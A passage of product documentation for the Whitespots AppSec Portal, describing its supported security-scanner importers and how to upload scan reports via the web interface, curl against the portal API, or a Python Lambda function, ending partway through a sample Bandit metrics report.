Portal. **Image and code dependency scanners:** * **`Trivy`**: imports scan results from [**Trivy Scanner**](/appsec-portal/features/scanners/scanner-description/image-and-code-dependency-scanners/trivy), which is a tool for finding security issues in Docker images and code repositories. * **`Vulners Trivy`**: imports scan results from [**Trivy Scanner with vulners.com**](/appsec-portal/features/scanners/scanner-description/image-and-code-dependency-scanners/trivy-vulners.com-plugin) plugin. #### Web Scanners: * **`Arachni`**: imports scan results from [**Arachni Scanner**](/appsec-portal/features/scanners/scanner-description/web-scanners/arachni-scan), which is a tool for scanning modern web applications for a variety of vulnerabilities including SQL injection, cross-site scripting, file inclusion, and more. * **`Acunetix`** : imports scan results from [**Acunetix**](/appsec-portal/features/scanners/scanner-description/web-scanners/acunetix), a scanner designed to detect vulnerabilities in web applications. * **`Burpsuit`**: imports scan results from [**BurpSuit Enterprise scanner**](/appsec-portal/features/scanners/scanner-description/web-scanners/burp-enterprise-scan), which is a tool for automated web application security testing and vulnerability scanning. * **`OWASP Zap`**: is responsible for importing scan results from [**GitLab** **OWASP Zap Scanner**](/appsec-portal/features/scanners/scanner-description/web-scanners/owasp-zap), wich is a security testing tool focused on web application vulnerabilities, including SQL injection, cross-site scripting (XSS), and more. **Mobile Scanners:** * **`Mobsfscan`**: is a security testing tool focused on mobile application vulnerabilities. [**This scanner**](/appsec-portal/features/scanners/scanner-description/mobile-security-scanners/mobsfscan) is based on **`Semgrep`** with custom rules from MobSF group **Infrastructure scanners:** * **`AWSSecurity`:** imports scan results from [**AWS Security Hub Scan**](/appsec-portal/features/scanners/scanner-description/infrastructure-scanners/aws-security-hub-scan)**,** which is a powerful tool designed to analyze and identify potential security vulnerabilities in AWS environments. With this importer, you can seamlessly integrate AWS Security Hub scan results into the AppSec Portal, allowing for centralized management and comprehensive visibility of your security posture within the AWS ecosystem. * **`Nessus`**: is a leading vulnerability scanning tool developed by Tenable. It is used to identify and assess potential vulnerabilities in systems and networks, helping organisations strengthen their cyber security. * **`Nuclei`**: imports scan results from [**Nuclei Scanner**](/appsec-portal/features/scanners/scanner-description/infrastructure-scanners/nuclei), which is a tool for finding security issues in web applications. * **`Prowler`**: is responsible for importing scan results from the [**Prowler Scanner**](/appsec-portal/features/scanners/scanner-description/infrastructure-scanners/prowler). Prowler is a security scanning tool specifically designed to assess the security of Amazon Web Services (AWS) environments. * **`Subfinder`**: imports scan results from [**Subfinder Scanner**](/appsec-portal/features/scanners/scanner-description/infrastructure-scanners/subfinder). Subfinder is a subdomain discovery tool used to identify subdomains associated with a target domain or web application. It assists in gathering critical information during enumeration phases of security assessments and penetration testing. #### Other scanners: * **`Dependency-Track`**: imports result from [**Dependency-track**](/appsec-portal/features/scanners/scanner-description/other-scanners/dependency-track) platform. Component support for: Applications, Libraries, Frameworks, Operating systems, Containers, Firmware, Files, Hardware, Services * **`Snyk:`** imports result from [**Snyk**](/appsec-portal/features/scanners/scanner-description/image-and-code-dependency-scanners/snyk) tool. Snyk is a platform that allows you to scan, prioritize, and fix security vulnerabilities in your code, open-source dependencies, container images, and infrastructure as code configurations. * **`Whitespots Portal`** : imports results with [**Whitespots Portal** ](/appsec-portal/features/scanners/scanner-description/other-scanners/whitespots-portal)parser. Processes the data that the user has specified in the scanner report. # Importing reports from scanners to AppSec Portal You can import your reports from scanners (in json format) into AppSec Portal for viewing and processing using the following methods: **Method 1:** [**Mannual import using a Report File**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal/manual-import-using-report-file) **Method 2:** [**Importing via Terminal using a Report File**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal/importing-reports-via-terminal-using-a-report-file) **Method 3:** [**Importing via Lambda Function using a Report File**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal/importing-reports-via-lambda-function-using-a-report-file) ### Authorization Token Before getting started, you will need to obtain an **authorization token**. The token is a unique identifier that is used to authenticate you as a user of AppSec Portal. You can find your token by logging in to the portal and navigating to **Settings->Personal Info** page. Copy the token as it will be used in the `curl` command.

Authorization token example

# Manual Import using Report File Follow the steps below to download manualy a report that has been received from the scanner: 1. Click the Import button on your product page
2. Drag and drop or select your report file from the scanner to create your report
3. Enter the **scanner name** (mandatory) and **branch name** (optional) in the appropriate fields. 4. If you are using [Auditor](/auditor), fill in the product **assets**: repository, image registry, domain or host. 5. Click **Submit**
If the report contains findings, these will be displayed in the AppSec Portal for that product. # Importing reports via Terminal using a Report File You can import reports to AppSec Portal using the following `curl` command in your terminal: {% code overflow="wrap" %} ```bash curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token " -H "Content-Type: multipart/form-data" -F "file=@" -F "product_name=" -F "product_type=" -F "scanner_name=" -F "branch=" -F "repository=" -F "docker_image=" -F "domain=" -F "host=" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (see the[ **scanner description**](/appsec-portal/features/scanners/scanner-description) section for the correct name). 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor ](/auditor)is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. -F "docker\_image=\": If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. -F "domain=\": If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. -F "host=\": If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 {% hint style="warning" %} If you generate a `curl` command for an unsupported scanner, the **import will not be executed**. {% endhint %} You need to modify the `curl` command based on the scanner used to generate the report. {% hint style="info" %} Note that if the specified *product type* or *product name* does not exist in the AppSec Portal, they will be created **automatically**. However, within the same product type, **there cannot be two products with the same name.** {% endhint %} #### Curl example Here is an example of a command to import a report generated by **Trivy** scanner: {% code overflow="wrap" %} ```bash curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./trivy-code.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Trivy Scan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} Once the import is completed, you can view and analyze the imported reports in the AppSec Portal. # Importing reports via Lambda Function using a Report File To send scanning data to AppSec Portal You have the capability to import reports into the AppSec Portal using the provided function below. 
import json
import urllib.request
import urllib3


def import_report(<event>):
    
    appsec_portal_api_token = "Token " + <appsec portal api_key>
    
    while True:
        try:
            url = 'https://<portal_address>/api/v1/scan/import/'
            body = {
                "file": ("<event>.json", json.dumps(<event>)),
                "product_name": "<product name>",
                "product_type": "<product_type>",
                "scanner_name": "<scanner name>",
                "branch": "<branch_name>", 
                "repository": "<repository SSH URL>",
                "docker_image": "<registry address>", 
                "domain": "<domain>", 
                "host": "<host>"
            }
            data, header = urllib3.encode_multipart_formdata(body)
            r = urllib.request.Request(url, data=data)
            r.add_header('Authorization', appsec_portal_api_token)
            r.add_header('Content-Type', header)
            response = urllib.request.urlopen(r)
            print(response.getcode())
        except Exception as e:
            raise e
        break
    return {
        'statusCode': 200,
        'body': json.dumps('Event successfully imported')
    }
Replace the following parameters: * ***\*** with the name of your file containing report * ***\*** with the key of your [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) * **\** with the address of your AppSec Portal * **\** with the name of your product * **\** with the name of your product type * **\** with the [**name of your scanner**](/appsec-portal/features/scanners/scanner-description) * **\** (*optional*) with the the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor ](/auditor)is used * **\**If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git * **\** If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest * **\** If your product is **web** enter the **domain name** of your product, for example: whitespots.io * **\** If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 Congratulations!🎉 Your function is now ready to send reports to AppSec Portal [^1]: replace [^2]: replace # Scanner description This section describes each scanner used by the AppSec Portal The AppSec Portal uses the following types of scanners: * [Code Scanners](/appsec-portal/features/scanners/scanner-description/code-scanners) * [Secret Scanners](/appsec-portal/features/scanners/scanner-description/secret-scanners) * [Image dependency Scanners](/appsec-portal/features/scanners/scanner-description/image-and-code-dependency-scanners) * [Web Scanners](/appsec-portal/features/scanners/scanner-description/web-scanners) * [Infrastructure Scanners](/appsec-portal/features/scanners/scanner-description/infrastructure-scanners) * [Other](/appsec-portal/features/scanners/scanner-description/other-scanners) # Code Scanners This section describes scanners designed to detect vulnerabilities and security issues in source code, each designed to perform specific types of code analysis. # Bandit Bandit is a popular open-source tool that scans Python code for security vulnerabilities. **Auditor Job Name**: Bandit Scan\ **Auditor image:** registry.gitlab.com/whitespots-public/security-images/bandit:1.7.5\ **AppSec Portal Importer Name**: Bandit Scan, GitLab Bandit [Bandit scaner](https://github.com/PyCQA/bandit) and [Bandit scaner (GitLab)](https://gitlab.com/gitlab-org/security-products/analyzers/bandit) has a *wide range of plugins* to detect various types of security vulnerabilities, including **SQL injection**, **cross-site scripting**, and **hardcoded passwords**. It can also detect insecure use of cryptography, such as **weak encryption algorithms** or **incorrect usage of hash functions**. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./bandit.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Bandit Scan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./bandit.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=GitLab Bandit" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Bandit Scan or GitLab Bandit) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor ](/auditor)is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 **Report example:** ``` { "errors": [], "generated_at": "2023-12-26T14:29:38Z", "metrics": { "./bad/api_list.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 1, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 14, "nosec": 0, "skipped_tests": 0 }, "./bad/api_post.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 2, "CONFIDENCE.MEDIUM": 1, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 3, "SEVERITY.UNDEFINED": 0, "loc": 23, "nosec": 0, "skipped_tests": 0 }, "./bad/brute.py": { "CONFIDENCE.HIGH": 2, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 2, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 19, "nosec": 0, "skipped_tests": 0 }, "./bad/db.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 1, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 18, "nosec": 0, "skipped_tests": 0 }, "./bad/db_init.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 1, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 32, "nosec": 0, "skipped_tests": 0 }, "./bad/libapi.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 3, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 3, "SEVERITY.UNDEFINED": 0, "loc": 22, "nosec": 0, "skipped_tests": 0 }, "./bad/libmfa.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 55, "nosec": 0, "skipped_tests": 0 }, "./bad/libposts.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 18, "nosec": 0, "skipped_tests": 0 }, "./bad/libsession.py": { "CONFIDENCE.HIGH": 1, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 1, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 20, "nosec": 0, "skipped_tests": 0 }, "./bad/libuser.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 3, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 3, "SEVERITY.UNDEFINED": 0, "loc": 38, "nosec": 0, "skipped_tests": 0 }, "./bad/mod_api.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 50, "nosec": 0, "skipped_tests": 0 }, "./bad/mod_csp.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 5, "nosec": 0, "skipped_tests": 0 }, "./bad/mod_hello.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 5, "nosec": 0, "skipped_tests": 0 }, "./bad/mod_mfa.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 42, "nosec": 0, "skipped_tests": 0 }, "./bad/mod_posts.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 23, "nosec": 0, "skipped_tests": 0 }, "./bad/mod_user.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 51, "nosec": 0, "skipped_tests": 0 }, "./bad/vulpy-ssl.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 4, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 1, "SEVERITY.LOW": 1, "SEVERITY.MEDIUM": 2, "SEVERITY.UNDEFINED": 0, "loc": 19, "nosec": 0, "skipped_tests": 0 }, "./bad/vulpy.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 2, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 1, "SEVERITY.LOW": 1, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 41, "nosec": 0, "skipped_tests": 0 }, "./good/cutpasswd.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 1, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 13, "nosec": 0, "skipped_tests": 0 }, "./good/db_init.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 33, "nosec": 0, "skipped_tests": 0 }, "./good/httpbrute.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 1, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 19, "nosec": 0, "skipped_tests": 0 }, "./good/libapi.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 1, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 1, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 37, "nosec": 0, "skipped_tests": 0 }, "./good/libmfa.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 55, "nosec": 0, "skipped_tests": 0 }, "./good/libposts.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 18, "nosec": 0, "skipped_tests": 0 }, "./good/libsession.py": { "CONFIDENCE.HIGH": 1, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 1, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 39, "nosec": 0, "skipped_tests": 0 }, "./good/libuser.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 1, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 90, "nosec": 0, "skipped_tests": 0 }, "./good/mod_api.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 47, "nosec": 0, "skipped_tests": 0 }, "./good/mod_csp.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 5, "nosec": 0, "skipped_tests": 0 }, "./good/mod_hello.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 5, "nosec": 0, "skipped_tests": 0 }, "./good/mod_mfa.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 47, "nosec": 0, "skipped_tests": 0 }, "./good/mod_posts.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 23, "nosec": 0, "skipped_tests": 0 }, "./good/mod_user.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 58, "nosec": 0, "skipped_tests": 0 }, "./good/mod_welcome1.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 19, "nosec": 0, "skipped_tests": 0 }, "./good/vulpy-ssl.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 4, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 1, "SEVERITY.LOW": 1, "SEVERITY.MEDIUM": 2, "SEVERITY.UNDEFINED": 0, "loc": 19, "nosec": 0, "skipped_tests": 0 }, "./good/vulpy.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 2, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 1, "SEVERITY.LOW": 1, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 40, "nosec": 0, "skipped_tests": 0 }, "./test_code.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 2, "nosec": 0, "skipped_tests": 0 }, "./utils/aes-decrypt.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 20, "nosec": 0, "skipped_tests": 0 }, "./utils/aes-encrypt.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 21, "nosec": 0, "skipped_tests": 0 }, "./utils/ca-create.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 3, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 3, "SEVERITY.UNDEFINED": 0, "loc": 43, "nosec": 0, "skipped_tests": 0 }, "./utils/ca-csr-create.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 2, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 2, "SEVERITY.UNDEFINED": 0, "loc": 26, "nosec": 0, "skipped_tests": 0 }, "./utils/ca-csr-load.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 4, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 4, "SEVERITY.UNDEFINED": 0, "loc": 27, "nosec": 0, "skipped_tests": 0 }, "./utils/crack-cvv.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 15, "nosec": 0, "skipped_tests": 0 }, "./utils/crack-hash.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 15, "nosec": 0, "skipped_tests": 0 }, "./utils/fernet-generate-key.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 3, "nosec": 0, "skipped_tests": 0 }, "./utils/generate_bad_passwords.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 1, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 29, "nosec": 0, "skipped_tests": 0 }, "./utils/hashfile.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 14, "nosec": 0, "skipped_tests": 0 }, "./utils/hmac_generate.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 13, "nosec": 0, "skipped_tests": 0 }, "./utils/httpbrute.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 1, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 24, "nosec": 0, "skipped_tests": 0 }, "./utils/luncheck.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 